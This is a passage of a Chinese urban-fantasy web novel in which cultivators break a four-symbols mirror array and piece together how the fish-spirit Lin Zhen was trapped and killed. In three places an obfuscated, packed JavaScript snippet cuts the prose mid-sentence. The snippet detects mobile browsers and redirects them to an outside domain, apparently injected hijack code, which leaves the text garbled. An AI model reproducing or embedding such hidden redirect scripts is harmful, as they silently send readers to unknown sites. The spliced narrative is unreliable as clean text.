“您看!”尤远志指向裂缝的四个方位,“玄武、青龙、朱雀……白虎怎么回事?这个阵不全,玄武不齐,还缺白虎之力。”他手指在西面的豁口上。 更奇怪的事发生了,镜面裂缝发生着变化,玄武的方位上,细小的裂痕又多了一条,眼看就要将最上面的玄武图填满。 “聂小姐……”尤远志鼓起勇气说出这句话:“您别先直接把镜子砸了……再给我点时间研究下。” 他又从骑手服的各个口袋中掏道具,除了罗盘外,还有一盒朱砂与铜钱。 - 聂明月知道尤远志有发现,她先走到客厅,站在阳台处看向房间全景。 镜纹变化后,整个房间也发生了改变。地板上浸出了一层薄薄的水渍。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14459350|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 聂明月注意到地面的水渍有异——那些看似普通的积水中,漂浮着细碎的金色,像是被水浸泡后慢慢溶解的鳞片。水纹流动间,金色的痕迹不断扩散,在地面形成一道道流淌的纹路。 屋内的腥臭愈发浓重,不是单纯的海腥味,而是一种更深层的、仿佛生命力被抽离时才会出现的诡异气息。这味道让聂明月想起了腐烂的海藻,但又带着某种说不清的“枯萎”气息。 聂明月在想,为什么计九崖没有发现这些异样? 除非,这是他们离开后才变化的。 或者,是因为他们,才有了变化? - “找到了!”尤远志拿着一张纸出来。看到满地板的水,愣了一下,连忙说:“镜面裂缝是一个四象阵,但是阵图不全。朱雀与青龙是很早以前就成型了,玄武正在变化中……” 他觉得自己没解释明白,接着说:“玄武的防护之力,正在逐渐汇聚,一旦结成,镜中的人就会丧命。” “也就是说,玄武的防护之力,是镜中人的生命力提供的?”聂明月简单总结。 “对!”尤远志擦了下冷汗:“可是,镜中人是谁呢?” “是计九崖。”从时间推断,如果计九崖到的时候还未成阵,他才没有发现。现在他消失了,玄武却将成…… “玄武之力,为什么盯上了林珍?”这是聂明月还想不通的地方。 “这个四象阵,我也是第一次见。按理说,四象阵需要特定的力量才能集成,比如,从风水角度来看,玄武代表着稳定与安全。但在五行上,玄武又代表水……”尤远志绞尽脑汁,想着和玄武有关的东西。 “而林珍,是水族。计九崖,是雨师后人,他还带着应龙伞……”聂明月回过身,看向尤远志。 对方本是想窃取林珍的水族能力或者相关的东西,计九崖的被困,无疑又为对方带来了意外的惊喜,或者打击。 雨师家族的祖上,是司雨之神,天下之水的老祖宗。 - 计九崖在明堂内修炼至长生,早就与聂明月同出一脉了。他大概是被困在一个无法与她共识的独立空间,她才感觉不到他的气息。 “你再查一下计九崖的方位。”她将八字告诉尤远志。八字对于修士来说是最大的秘密之一,这也是她一开始没让尤远志找计九崖的原因。 尤远志将八字记下,心中忍不住震撼:计九崖居然已经过百岁了,他早知计九崖是个修士,面容经过乔装,本身是一个30来岁的人。 如果人类通过修炼能达到计九崖这样长生不老的程度,也就是他尤远志以后可以奋斗的目标。 他压抑住前途光明的雀跃,静下心计算计九崖的位置。 “在西边!距离我们二十公里!” 两人迅速出门。时值下班高峰期,最快捷的方式只有坐地铁。 - 四十分钟后,两人站在私人博物馆门口。大门已经锁上,会所下班了。 有聂明月在,尤远志不操心如何进入的问题。 聂明月却不让他进去了。 “你在外面守着,联系唐槐,让他查关于玄武与四象的事。一个小时后,我要是没出来,你去告诉孟夏。” 聂明月不想再出现同时失联的情况,独自走了进去。 - 刚进一楼展厅,聂明月就看到了地面升至三寸的水。没有风,水面却波纹微动。她仔细留意,每一条水纹虽然形状不一,但都朝着同一个方向轻轻漾动。 她抬头看向两面的古镜。伴随着水纹的动向,不同方位的古镜中的水光闪烁,向着中心水晶展台聚集。 水是虚影,镜中光芒才显露真实。 聂明月心中有数,直接踏上水面,积水没有任何变化,仿佛只是铺满了水纹的地板。 她站在古镜碎片前,这里的腥臭之气最为浓重。她低头看去,碎片之上,模糊扭曲的画面中,光斑闪动。 那是计九崖,他正在破境。 - 计九崖也不知道打坐了多久。等他觉得丹田裂缝修复后,终于站了起来。 如果不能无目的主动攻击,那就需要找出可以被攻击的点。 他环视四周,每一面镜子都一模一样,看不出任何不同。 此时,他的脚下也渗出了水。水波轻漾,在镜面反射中,整个空间亮起了朵朵光斑。 伴随着积水上升,水汽也散发出来。看到这里,计九崖想起了那张宣传页上湿了的一角。 他掏出宣传页,借着光斑查看。湿纸部位依然没有干,反而透过光看变得更明显。 他家族对于阵法与水,有血脉上的呼应。暗处那人,真是踢到铁板上了! 他找到了答案。 那不是简单的湿印,那是一只龙首龟身的图案。 赑屃。 41. 支离知离 人间行走指南: 【镜中相,不似人间面。】 - 支离可入梦,而林珍却不该有梦。 孟想站在镜阵前,镜中林珍的身影,每触碰一次便消失,镜面上留下一道不规则的裂痕。 林珍为什么会做梦?沈敬道长说了,他如果是所谓的梦神支离,便是唯一可以入梦的妖。 他祝福过林珍好梦。如果因此让他看到了林珍的梦境……或者,那不是梦境,是她死前真实的画面? 孟夏提到过,妖临死前会形成幻境。 林珍被他拍过照片,他清晨醉酒,也许翻看了相机,偶然间看到了多日前的地铁照片,这才做了那个梦……那林珍尸体的照片又从何而来? 他脑中充满了无数的疑问碎片。 “冷静!”他大喊,这一声却是在提醒自己。 - 如果眼睛看不透,那就闭上眼,把碎片拼在一起。孟想沉下心来,脑中那些片段,被他一片片组合,终于被他拼出了一角。 他举起相机,冲着前方迷宫拍了一张照片,迅速翻阅先前在林珍家中所拍摄的现场,努力找到其中相同的痕迹。 通过仔细对比,他终于发现一面镜子上的裂痕,与卫生间的镜痕有七成相似。不像的地方,只有最上方的一角。 迷宫镜面上方裂痕齐全,镜柜却没有那几道痕迹。 林珍的存在,就是这面镜子上的镜痕。 他对着镜痕拍了张清晰的照片,放大细节:林珍躺在一层镜面之上,满身伤痕,金黄色的鳞片撒了一地,腹部的位置有一层皮,似被完整剥了下来,露出鲜血淋漓的白肉来…… - 展览的宣传单,是林珍周四中午收到的。 她与同事到公司附近吃饭,靠海的那家餐厅旁边,正有家酒馆准备开业。店招上蒙着一块红色的布,只露出了几个英文字母:WVINEBAR。 门口有个不大的广告牌,上面写着周六开业的字样。 “装修了几个月,原来是个酒吧。下次下班了,咱们就来喝一杯!”同事跟她约定。 她笑着应下了。这时,路边一个中年女人走过来,塞给她一张宣传单。 林珍一看,上面写着“水月镜花-唐宋海兽葡萄镜文物展”。她忍不住问:“海兽是什么?” “海兽啊——”那女人说:“具体我也不懂,小姐要是感兴趣,可以去看看。” 林珍曾兼职发过传单,深知这是按数量算工资的,便欣然收下了——权当对打工人辛苦一场的支持。 - 下午工作时,她不小心将杯中水弄翻,洒了一桌。 收拾的时候,宣传单的一角被弄湿了。她有些惊讶,整张纸都被沾了水,为什么只有一点水渍? 她举起宣传单看向那处角落,发现了神秘图案,突然面色苍白,额头浸出了冷汗。 她跟领导请了假,说回家休息。 - 博物馆中有十二三位参观者,正跟着讲解员站在一面初唐时期的葡萄镜前。 “海兽葡萄镜在唐朝极为流行。这一面铜镜背后,雕有狮子和葡萄藤花纹。初唐正是葡萄镜从瑞兽纹到花鸟纹的重要过渡时期……” 讲解员隔着玻璃指向镜面:“狮子在中亚、西亚与欧洲文化中,代表着力量与权力。葡萄藤代表生命之树。它是东西方神秘文化与信仰的结合体。因此,海兽葡萄镜又被称为‘多谜之镜’。” “这一面‘神兽纹铭文镜’就是很典型的中国传说了。上面的四大瑞兽,大家猜一猜是什么?”讲解员移步下一面古镜,提出互动问题,期待有人参与。 “四个嘛,自然就是左青龙,右白虎……”一个中年男人笑着说。 “吴总说得对。”讲解员捧场地鼓掌:“这上面正是我们的传统四神,青龙、白虎、朱雀、玄武……” 林珍才反应过来,这原来是私人博物馆的内部活动,正在为会员介绍本次展品。 她是冲着“海兽”二字来的。如今方弄明白,所谓“海兽”,并不是指水中之兽,而是源自汉代丝绸之路带回来的西域动物,比如狮子、孔雀之类。匠人们将中亚、西亚特色文化铸入铜镜背面,同时用葡萄藤蔓代表葡萄酒,这才有了古铜镜的门类——海兽葡萄镜。 她顿时对展览失去了兴趣,身体愈发难受,便匆匆离开回了家。 - 孟想通过对比,依次找出了三面镜子,看清了镜中林珍的画面,同时也获取了海兽葡萄镜的相关信息。 他每看完一面,便会触碰镜面。镜子伴随林珍的隐去裂成碎片,刚一落地就消失了。 林珍家、公司、午餐外出、展览馆……随着四面镜子均碎落,迷宫露出了四条通道。 如果这是林珍的幻境,她是选择了哪一条路,才导致了最终死亡呢? - 聂明月在阵外看着计九崖站了起来,才替他松了一口气。 她之所以没有出手,是相信以计九崖的阅历和手段,可以自己走出来。 如果她贸然唤他出来,反而有可能令他神魂受损走火入魔。 计九崖此时已经看出,宣传页角印着赑屃的图形。赑屃即霸下,可驮三山五岳,代表着力量与生命。 在雨师家族的记载中,上古时期有霸下兴风作浪,后被夏禹收服。 霸下与玄武最大的区别,在于它出身妖族,而玄武是正统神灵。 布下这四象阵的人,因有阴祟之心,所以不敢动用玄武之术,不过是个下三烂的邪阵。 “配不上这四象阵的阵仗!”他冷哼一声,撑起了应龙伞。 黑伞在他手中匀速旋转,每转一圈,场中水位就上升一寸,很快就升至腰线。 水面漆黑如墨,在他步履间分开,让出一条通路。他操控水流将中心展柜碎镜托起。碎片离柜的瞬间,四面八方涌来一股对抗之力。 计九崖将伞立于碎镜之上。镜中倒映出的伞,却是把柄朝上。 “皆是幻影!”他操控应龙伞,柜中四周积水被他反控成冰,围着碎镜形成巨大的冰镜墙。 瞬时间,空间内的光芒由浊黄转为冰蓝,所有被映照的镜面,均无声裂成碎片。 计九崖把对方设下的邪阵,硬生生改成了应龙伞控制的雨师冰阵! “破!”随着他的一声大喝,全场光芒大作,迅速铺至每一个角落,强势冷光之下,黑暗狼狈潜去。 “咔嚓咔嚓……”玻璃破碎之声响起,所有镜阵同时显出了无数镜痕,瞬间裂为碎片…… - 等一切归为平静,计九崖收起应龙伞,出现在镜阵之外。 这时他才注意到展柜旁站着聂明月,正微笑地注视着他。 “漂亮。”她夸他出手果断,冷静理智。 不愧是计九崖,什么邪魔鬼怪法阵妖术,均抵不过“一力破十会”——这等霸道风气的始作俑者聂明月暗自得意。 “聂小姐!”计九崖破阵成功,却没想到聂明月就在外面等他。 他四下观望:“孟想没在?”根据他的分析,玄武也高,霸下也罢,终究是想吸纳他的生命力来维持镜阵的防御。 孟想本体为支离,本体是虚无破碎的,对镜阵不会有任何影响,对方也不能伤害到他。这也是计九崖安心在阵中打坐的原因。 “我们现在就来看看,孟想能在镜中获得什么吧。” 聂明月示意他看向柜中的铜镜碎片。因计九崖的破阵成功,原本多出来的裂痕已经愈合,玄武方位正有一个虚影浮现。 那是孟想,他找到了关于林珍新的线索,正跟在那女孩的身后,重现她被困阵中的场景。 - 林珍也看出了图中的霸下。她生于荆楚水域,所属妖族带玄武血脉。关于玄武之力与霸下,她均有所了解。 等她神色惊惶地回到家中时,已是晚上八点了。 她将宣传单远远放在茶几上,不敢再深入研究。多看那上面的图案一眼,她的身体就愈加虚弱一分。 从那个中年女人的出现,到方才的展览,所有的一切,都是冲着她来的。 现在她能做的,是联系明堂寻求帮助。 天色已黑,今天是周四,农历三月十五日,月圆之夜。 今晚的月亮格外亮,冰凉的月光透过窗帘,洒在小客厅里。 她没有留意到,光束所及之处,地面浮起一层薄如蝉翼的水雾。水雾中,宣传单上的霸下图案渐渐清晰,泛着诡异的幽蓝微光。 良久,她终于缓过来了,站起来走到洗手间,打算洗把脸后,就给孟夏打电话。 当她抬头看向镜柜时,发现上面多了几道如蛛网般蔓延的裂痕。她以为是不小心溅起的水渍,伸手打算擦去。 镜缝中探出了无数条黑影,在如丝如缕的墨气环绕中,她来不及反应,被吸入了阵内。 - 浓重的水汽凝结成细密水珠,随着林珍的呼吸起伏在空气中浮动。 此时的她身处镜中,几近窒息。她能清楚感觉到镜痕中的力量,正一点点抽离她的生机。 镜后的人到底想要什么…… 四条通道出现在林珍面前,各自泛着不同的光泽:南面赤红如火,东面青碧如玉,西面皓白如金,北面幽黑如渊。中央展柜上的碎铜镜折射着月光,将整个空间笼罩在迷离光影中。 林珍看向地上的水面,上有光纹流动,似乎在组成不同的图案。 - 她强忍剧痛,凝神看向南面那条通道口的水面上,恍惚有家乡的画面。 如果真的通过这条路能回去……她不敢想。 半年前,家族长老并不同意她来海泽:“你平时看起来挺稳重老实,在城里也有工作了,怎么就非要去海泽?” 他恨铁不成钢:“祖上有规定,不可进入北地,否则会有灭顶之灾!我们几千年都平安无事,就是因为安守本分!” 林珍不吱声,她总不能说,自己是看到了一本旧杂志,上面有个故事隐喻着,海泽是妖可以自由行走的城市吧。 她自己说出来都不会相信。 也许,她只想从这个炎热的城市中走出去,体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14466850|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 验不一样的生活。 实际上,林珍是不告而别离开家乡的。 到了海泽后,她顺利在明堂登记。对方也很好,为她提供了不少帮助。 她在这里才有了真正的归属感。不是水妖家族的隐匿生存,而是光明正大生活在城市里。 不再担心妖迹暴露于人前,不再恐慌被捉妖的修士追杀,像真正的人类那样朝九晚五、行走人间。 可是,如今她身处危境,已然是活不了了。如果临死之前,能回去跟大长老道个歉…… 她被心中念头蛊惑,走向了南面的通道。 一道火光在水面上腾起,红色大鸟般的烈焰张扬嘶叫着,在高温的灼烧下,她的皮肤正被慢慢收紧…… 她刚走出去一步,就不得不退了回来。 南方,是她归而不得的故土。 - 她走回阵中央:“那我还能去哪里?” 她继续观察水纹,东面水纹之上,是她不曾见过的画面。 那是一条,青龙吗? 林珍从未见过龙,尽管从小听着龙的故事长大。长老说,龙是所有鳞族之长,也是水族之神,但其后人就是因为太过招摇,才会从世间绝迹。 她看到那条青龙,正被一个人类抽筋扒皮。青龙分明断绝了气息,每被抽出一寸龙筋,身体便不自主地抽搐,仿佛还活着一样…… 她闭上眼睛,不敢再看。她没有勇气承受同样的痛苦。 - 西面没有任何波动。也许,那条平静如死水的路,才是她的生机。 现下她所剩的力气,如果选择错误,还能回来一次。她觉得有机会! 刚踏上西路,她身上的鳞片就被外力硬生生拉扯着,痛苦挣扎下,她似乎听到了一声兽吼…… 等她再逃回中央位置,终于有了头绪。 南方有火,东方有龙,西面有狮虎兽音,那不就是——四象之力? 她终于看到了希望,一开始她就选错了。 身怀玄武血脉,自然该走北方的路! - 她在北路口的水纹上,看到了一片茫茫大海。 海浪一层层拍打着礁石,永不疲惫。 世界上的每一条河流,最终都会汇入大海。她从南方到了北方,来到海泽,不也是一次妖的归流吗? 她迈步向前,几乎要踏入那玄武之路,但突然停下了脚步—— 如果这次也是一条死路,她就再也没有机会了。 这个镜阵,明显是有人设计猎杀她的。那曾亮起火光的朱雀,与那被痛苦凌虐的青龙,似乎都在暗示着什么。 如果她进入玄武,是不是也像它们一般,最终成了这个阵的一部分? 这才是布阵人的真正意图。 可是,为什么是她啊?她只是一只没有任何能力的小鱼妖,不似朱雀那般强大,更不是青龙那样的神灵…… - 林珍绝望地闭上了眼。她终于明白,无论选择哪条路,她最终都会成为玄武之路的阵眼。 这根本就是一个献祭之局。 “但是,我好不甘心啊……”不甘心被逼着走向死路,不甘心被人设计陷害,更不甘心以后成为杀妖邪阵中的一份子…… “如果我就这样死了,我就成了真正的家族之耻。”她三百多岁的短暂妖生,之前只做过一次勇敢的决定,就是来海泽像人类一样活着。 现在,她要做第二个最重要的决定了——将以什么样的方式死去…… 她要以身化境,自断生机于阵内,在阵中成境,才能提醒每一个进入的妖灵。 “这是玄武血脉的选择!”所有人都认为她性格温和软弱,却不知真正心志坚定之人,一旦做了决定,就不再有犹豫的时刻。 - 她将内丹之力一点点瓦解,凝聚进每一片鳞片。她在为自己的妖境做布局,让它们成为她活过一世的印记。 心脏处的鳞片是棕黄,背部鳞片泛着深黄微光,腿部鳞片流转着姜黄色泽…… 当无数鳞片落入水中时,水面泛起微弱的金光。光点随着水波流动,渐渐排列成特定的方向——指向阵中心的破绽。 她以生命织就一张光网,照亮后来者黑暗中的生路。 当最后一片鳞片剥离,镜中一道阴影闪过,似在意外着她的选择。 - “救我……”她向镜外伸出手,身体向下倾去,声音虚弱却坚定。 这不是求救,而是瞒着那双眼睛,为别人留下唯一的生机。 请救我。 请入我境。 请在我境中,跟随我的指引。 请一定要破解,这杀妖的陷阱…… - “呵,不自量力。”一个声音于黑暗中响起,语气中带着嗤笑之意。 “玄武腹鳞已到手,接下来,只剩一个了……” - 镜面上的林珍身影已经黯淡,只余腹部一道狰狞的创口。 散落的鳞片在水波中漂浮,却隐隐指向某个方向,像是在等着有人到来。 42. 梦入灵台 人间行走指南: 【信仰之力,可越生死】 - 孟想心中泛起阵阵凉意。随着林珍死亡的画面逐渐消散,他终于明白了选择的关键所在。 他看向水面上的无尽鱼鳞,那是林珍为迷宫中的人留下的生机。 为了不引起设下陷阱之人的怀疑,林珍剥离了自己全身的鳞片。它们看似随意地漂浮在水面,在月光与镜面的交织中,折射出晶莹剔透的冷冽色彩。 孟想无视光影闪烁,只跟随金色鱼鳞的流动,走向它们最终汇聚的方向。 那是,正中央。 四条路,每一条都是死路。只有认命于绝境,才有机会破局。 从镜痕中来,就得从镜痕中去。他拿起碎片,置于水面之上。一片带着漩纹的金鳞,如水中的游鱼,慢慢附了上去,最终停在一条微不可察的裂缝上。 孟想拾起金鳞握在了手心,又伸出手指触向了那道镜痕。 眨眼间,他回到了展厅中,看到了聂明月与计九崖。 - 孟想却没有逃出生天的喜悦,想着那个看起来温和内向的鱼妖,自绝妖灵结成幻境的一幕,他胸口像被什么堵住了一样,疼得说不出话来。 计九崖知他受到了冲击,拍了拍他的肩,以示安慰。 “聂小姐,这个镜面迷宫留不得,我们是直接将铜镜碎片毁去吗?”计九崖问。 这是一个专门针对林珍而设的局。林珍已死,对方如果取回碎片,有可能继续行凶。 聂明月摇了摇头:“不,我们还在幻境中。” - 孟想抬头看向她,十分不解,明明三人现在都在展厅内,推开大门就可以走出去。 “林珍不是死在这里的,也不是死在家里。孟想,你忘了?在你的梦里,她带你去了海边。” 名为私人博物馆,其实是该会所用于藏品的拍卖与展出场所。普通人类是看不到中央展台与铜镜碎片的。 也许,就因为对方猜测到林珍会对“海兽”感兴趣,才选择在这里引她入镜。 “不信你把镜子拿起来。”她示意孟想。 孟想伸手拿镜,却摸了个空。 - “孟想进入的并不是凶手设下的陷阱,而是林珍精心设计的幻境。”聂明月解释道。 林珍不仅创造了一个虚假的世界,还将自己的经历重现,制造了一个三重幻境。 第一重:镜阵。这是凶手布下的阵法,目的是迷惑进入者,使他们被四条死路所蛊惑,最终被各阵眼诛杀。 第二重:镜中幻境。这一层是林珍通过自己镜中真实的经历所设下的幻境。如果闯阵者在第一重玄武之路上杀死她,就能进入这一层发现真相。 第三重幻境:表面幻境。也就是此刻所处之地。 林珍将此阵设在展览馆,是为了让明堂的人追踪到此,破解整个事情的真相。 与此同时,她也通过这一层掩盖了第二重幻境,成功误导了凶手。 让他以为,林珍至死都认为自己是在展览馆中被害才会做下此境,才会掉以轻心。 - 计九崖意识到自己已进入第一重镜阵,是在看到碎镜片上应龙伞的镜像之后。他察觉到这一切并非真实,便用更强的应龙之力直接破开了镜阵,越过了第二重来到此处。 “而孟想你的出现,是在她意料之外的。你曾与她产生过关联,能看到她的幻境,所以你直接进了镜中境。” “你梦中的她对你说,‘你杀了我’,并不是带有仇恨的质问。”聂明月继续道,“她是在提醒入阵者——只有先破掉她所设的幻境,才能揭示镜阵的真正面貌。” 这是林珍在生死攸关之际,隐晦而周全的幻境布局。 凶手只看到她是绝望受困之后的胆怯自尽,却看不出暗藏的玄机。在周四下午设局成功后,早就全身而退了。 - 聂明月不愿意再耽误时间,她抬起手,掌心亮起了一团金色火焰。 那团火焰洁净纯厚,内焰隐隐透着青意,随着她的手势缓缓升至半空。 在她的控制下,它的光芒愈盛,犹如灼目的烈日,光照之处,驱散了空气中的湿气,燃尽了腥臭味道。 无论林珍和凶手布下什么样的陷阱,都无法抗衡明堂的强大,原本黑暗的展厅瞬间亮如白昼。 火焰一明一灭之间,他们回到了真正的展馆中。 现场哪里还有碎镜和葡萄镜展,早就在周一上午布置成了新的主题。 计九崖这才想起来,当初进来时,门口确实换了海报,新的展览是从今天开始的。 聂明月拿出手机,一看与尤远志约定的时间马上到了,先出了门。 - 尤远志正焦急地原地踱步,见到众人,马上迎了上来。 “计九,你帮我给陈丽华打个电话。”聂明月有点不好意思:“我答应了香香,今天要接她放学……” 社区的私立幼儿园六点半闭园。计九崖心下了然,与陈丽华取得了联系。 “再麻烦她,给香香买份草莓。”她更不好意思了。这么多年习惯了独来独往,突然多了个孩子,那还是香香——许下的承诺一定得兑现。 电话那头的陈丽华欣然应下,聂明月这才放心。 “孟想,你还记得林珍带你去的是哪个码头吗?”她问。 “就是绯藤酒馆那条街!走到尽头就到了。”湾区码头一带是新的商业中心,靠近海边广场的商街上,咖啡馆与酒吧、餐厅众多,是城中年轻人的消费好去处。 孟想对那处非常熟悉,他甚至记得林珍落海的具体位置。 - 夜幕下的城市繁华依旧,人们热爱的现代生活中,夜晚是最重要的一部分之一。 海边商街的霓虹灯与路灯已经亮起,建筑与灯光的倒影投在海面上,为海泽造出了一座海上的镜像之城。 这也算是聂明月第一次走在都市的夜色中。如果没有潜藏的危机,和黑暗中的邪恶窥视,她实在是想好好停下脚步,欣赏眼前的风景。 四人沿着码头商街外围疾行,行至三百多米外的一个工地。海景公寓未能完工,现场只有大厦框架、钢梁与吊车,在黑夜中犹如巨兽剪影。 孟想站在栏杆前,指向海面:“林珍就是从这里坠海的!” - 聂明月单手搭在栏杆边缘,一个纵身,从栏杆上翻过去,稳稳落在下方的水泥平台上。 此处是填海后的浇筑顶,她前方脚下的海面,已是幽暗难辨的深海区域。 如果林珍当时在家中被纳入阵内,这里有什么特殊之处,让凶手在此处设阵呢? “聂小姐!”计九崖看出了端倪。他示意聂明月看天上。 今天是农历三月十九日,一轮半隐的下弦月还没来得及升上天空,但仍有稀薄月色从云层中透了出来,淡淡的月华将聂明月所处的位置照得发白。 - “我在阵中看到过月光。”孟想突然想起来。 镜中世界是个封闭空间,那些流动的光线早就让他生疑。如果此处是古铜碎镜真实所在的位置,就很容易理解了。 海面、水泥台、古镜碎片,三个镜面相互折射之下,借助月华之力,才能成阵。 “凶手本身修为有限,没有能力自行结阵,才只能用这种周折复杂的方式。”尤远志分析道。如果是他来布阵,会比这简单有效得多。 阵法是修士对天地万物运行规律的深刻理解。就因为每个人的角度和能力不同,才有了千百年来擅长布阵的大小家族、门派的不传之秘。 “以此手法捕杀没有防备的弱小妖族,令人不齿!”这次遇到了拙劣拼接版的四象阵,难免让世家出身的计九崖更加气愤。 - “无论如何,我们要给林珍的家人一个交代。”聂明月没有丝毫犹豫,在孟想的惊呼声中,跃入大海。 海下世界并没有她想得那么瑰丽奇妙。 深深扎入海底的水泥块与钢筋形成了嶙峋的轮廓。建筑废料、生活垃圾处处可见,这里就像是一座被抛弃的沉没之城。 她的赤瞳虽能在水中视物,视线范围毕竟受限。就在她搜寻无果,准备往更远处游去时,一抹红色从她眼前划过。 那是一条缀着几根细小叶子的红色藤蔓,藤尖朝上摇曳着,似乎在和她打招呼。 她顺着藤茎往深处潜去。 在一处大型水泥块缝隙中透出了微弱光亮,一条金黄色的小鱼正在里面随水波上下浮动。 若不是它闭着眼,若不是它体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14493535|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无完肤,若不是那团藤蔓将它温柔围裹着,它仿佛天生就属于这片水域,正在惬意畅游中…… 林珍,生于南方江湖,死于北方海洋。 - 聂明月忍住心中愤怒,双手合拢,小心翼翼将死去的小鱼捧在手心。 它伤痕累累的鱼腹之上,被掀走了一块皮。尽管它在几天前就已死去,她依然怕将它弄疼了。 她也是这时才知道,在寻找林珍的过程中,大家闻到的那萦绕不去的咸腥臭味,就是它葬身之处的味道…… - 一抹醒目的红色与聂明月并肩游着,藤蔓舒展着身体,藤尖为她指引着靠岸的方向。 月光透过波浪,将一人一藤的身影投射在海床上,恍如一场虚幻的梦境。 聂明月抵达岸边,回身看向那条红藤,它晃了晃身体,又指向她手中的小鱼,似乎在对她说:“我把它交给你了……” 聂明月在月光下凝神聚气,尝试感应它的妖魂。 一无所获。 凶手不仅剥去了它的腹甲,更拘走了它的魂魄。 - 对不起。 让你看到了海水下的丑陋。 谢谢你。 请允许我护送你离开这里。 - 尽管与林珍只有一面之缘,计九崖与孟想一整天的经历,已经让他们足够了解熟悉这个女孩。 孟想面色苍白地看着小鱼的尸体,这是他第一次感受到妖的弱小与勇气。 计九崖陷入了深深的沉默。 如果他当时能跟那个女孩多聊两句,多叮嘱她注意安全,或者这些天他多留意海泽市的异状,她是不是依然自在地生活在城市中? - “计九,我该如何善待它的尸体?”聂明月全身湿透,但她来不及处理,还是谨慎地将它捧着,一动不动。 “小姐,您……可否能让她进你灵台?”计九崖看向聂明月,他知道这个对于她来说很容易,但又可能很难——随便放一只妖尸入明堂,不知道对她是否有影响。 聂明月摇头:“她没有生魂,也没有灵体,我无法唤她进去……” 她的灵台并不是置物的芥子空间,而是自成一个世界。包括如意那种还未生成器灵的法器,她也无法放进去。 计九崖闻言神色黯然,凶手太过残忍,连轮回的机会都不给林珍。 - “我……我想试试……”孟想伸出手,掌心中有一枚带着漩纹的金色鱼鳞:“这是我从梦境中带出来的,是不是就证明了,我能把她带进去?” 孟想没有太多想法,他只是不忍心那女孩的尸体都无法被妥善安置,他只是想为她做点什么。 他对妖灵及自己,从来都是不敢深究的,但是这一次,他真的想试试。 “师父教过我一道化光符,可将妖尸化为魂体。如果用鱼鳞成符,引尸体入灵台,也许可以保存她的气息!”尤远志说道:“你是梦神,灵台并非实体,而是贯通梦境与现实的桥梁。正适合你来做。我可以教你法诀,但是……” 尤远志说到一半,顿了一下,看向了聂明月。他学过明堂的规则,妖怪不可以随便使用法力,参与他人因果。 “如果事成,林珍的记忆将永存于孟想的灵台中,聂小姐……”他需要征求她的意见。 - 聂明月点头:“规则是由强者来制定的。孟想,此次之后,你恐怕不得不走上修行之路了。我尊重你的想法,由你自己决定。” “小尤道长,请你教我……我一定会保护好她。”孟想极力争取着。 他在一天之中,从青涩到沉稳,从冒失到勇敢,独自经历了一场真正的历练。 他终于不再是破碎的虚无,可有可无的存在。 当世唯一的梦神支离,现在想要变得完整。 - 天光净化,归于虚无; 魂兮归来,梦中长存。 稀薄月色之下,支离轻触小鱼,掌心浮现出一片带着符文的金色鱼鳞。 在符文的光芒中,鱼尸开始分解,化作一束流动的光,那是它残存的记忆与梦境。 那束光缓缓流向支离的额心,最终融入他的灵台。 在梦的深处,记忆凝成了一道永不散去的光。 43. 不忆往昔 【秘密不是无法对人说,而是即便说了也没人懂。】 - 城市像一个活着的生命体,有着独一无二的气质。 城中的人,是城市的血液,承载着养分,在密密麻麻的街道脉络中流淌。 但决定城市气质的,并非行政长官或塔尖精英,也不是那些显而易见的人间烟火与市井气息,而是岁月沉淀下来的规则与传统。 每个城市都有不同的规则,无论你是本地人还是外地人,当踏上城市的那一刻,就会不自觉地去默守遵循。 垃圾分类、社交距离、交通法规……大大小小的规则,无形中塑造了城市的性格,决定了它的节奏和氛围。 比如,南方都市的晚上七点,天色刚刚暗下来,年轻人三五成群走向大排档、露天酒吧或商业街……开始一天之中的下半场。 而在北方,天早已沉入暮色,四月的春寒料峭迫使人们快速转移,从室外走进餐厅、剧院或剧本杀密室,驱散工作日的疲惫。 - 当然,这只是个不甚严谨的例子。但在明堂总部驻守的海泽市,有一条明确的规定—— 禁止妖怪修士在城市中使用灵力。 晚上七点半,下了飞机的关临渊,久久联系不上聂明月。 即使是阴冥司大人,也只能茫然地站在明月山庄外,不知道该往哪里去。 - 与此同时,聂明月一行人正沿着偏僻的码头栈道信步而行。 她刚使了驭水诀,驱掉满身的潮气,有一瞬间,突然脑中闪过关临渊站在山上,给她讲解“借势”的画面,微微晃神。 她看了一眼手机,见到关临渊发来的消息,随即发了定位过去,心中盘算起接下来的安排。 一路上,孟想低着头,始终一言不发。 四人并未急于赶路,而是边走边聊,似乎都需要一些时间,来消化复杂的情绪。 - “孟想,接下来有什么打算?”计九崖忽然开口问。 